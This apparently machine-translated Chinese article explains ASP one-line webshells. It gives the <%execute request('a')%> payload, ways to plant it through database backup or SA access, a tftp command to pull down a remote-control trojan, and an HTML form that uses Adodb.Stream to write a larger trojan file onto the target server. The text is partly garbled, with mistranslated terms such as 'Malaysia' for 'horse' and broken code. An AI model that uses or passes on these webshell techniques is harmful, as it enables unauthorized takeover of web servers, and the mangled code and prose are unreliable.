asp一句话木马免杀,asp木马具有的功能是什么,asp一句话木马原理分析
一句话，木马插入asp文件：当然，一句话，木马本身就是asp文件。可通过IE访问：我们可以提交数据，如果我们可以访问它.凡是能接触到的都可以做。
通过HTTP协议访问一言堂木马的使用范围(我只列举了2种):
1)仅备份数据库。当数据库备份为asp文件时，“编译错误，缺少脚本关闭标志%”不会出现。
2)当2)SA被授权时，通常先写一个句子比较方便.(当然直接把鸽子上传到tftp运行更快)
tftp-iipgetserver.exe
总之，木马%executerequest('a')%的原理：
首先我知道execute()函数是用来执行asp代码的。它负责执行我们上传的马，并将其交给asp.dll进行分析。上面的代码%executerequest('a')%可以解释如下：
% if request(' a ')' ' theexecuterequest(' a ')%
如果不为空，它将被执行。会执行什么？
ifa！=0
让我们来看看客户端：
for action=http://192 . 168 . 0 . 28/shell . ASP method=post textareana name=lcols=120 rows=10 width=45 setlP=server。CreateObject('Adodb。stream’)创建Adodb。流分量.LP . openlp . type=2lp . charset=' GB 2312 ' LP . write text request(' p ')LP . savetofile server . mappath(' db bak . ASP ')，2 .LP。ClosesetLP=无响应。redirect ' dbbak . ASP '/TextArea TextArea Name=PCOLS=120 rows=10 width=45要提交的数据/TextAreAbrCenterbrInput Type=Submit Value=Submit
Adodb。Stream负责将读取的数据上传到服务器：
组件：“Adodb。“Stream”有以下方法：Cancel方法的用法如下：对象描述。取消：取消挂起的异步执行或打开方法调用的执行。
WriteText方法的用法如下：Object。Write(Data，[Options])描述：将指定的文本数据加载到对象中。参数：数据是指定要写入的内容。写的选项，可选参数如下：adWriteChar=0 adWriteLine=1。
SaveToFile方法的用法如下：object.savefile (FileName，[options])描述：将对象的内容写入FileName指定的文件中。
也就是说，我们保存了特洛伊木马的文件名。dbbak.asp参数描述：可以不指定用于访问由filename指定的文件选项的选项。可选参数如下：adsavecreatenotexist=1 adsavecreateoverwrite=2。
提交木马后，A的值为空。等待写入值以访问http://www。***.com/**。asp就是等待的过程。如何准备使用execute()函数来执行。
创建Adodb。流，它负责把我们的马来西亚写入服务器。
同时，由该组件定义的变量SaveToFile定义了马来西亚的名称.dbbak.asp
提交到服务器后，execute()函数检测到A的值不为空，就执行我们的大木马！
郑重声明：本文由网友发布，不代表盛行IT的观点，版权归原作者所有，仅为传播更多信息之目的，如有侵权请联系，我们将第一时间修改或删除，多谢。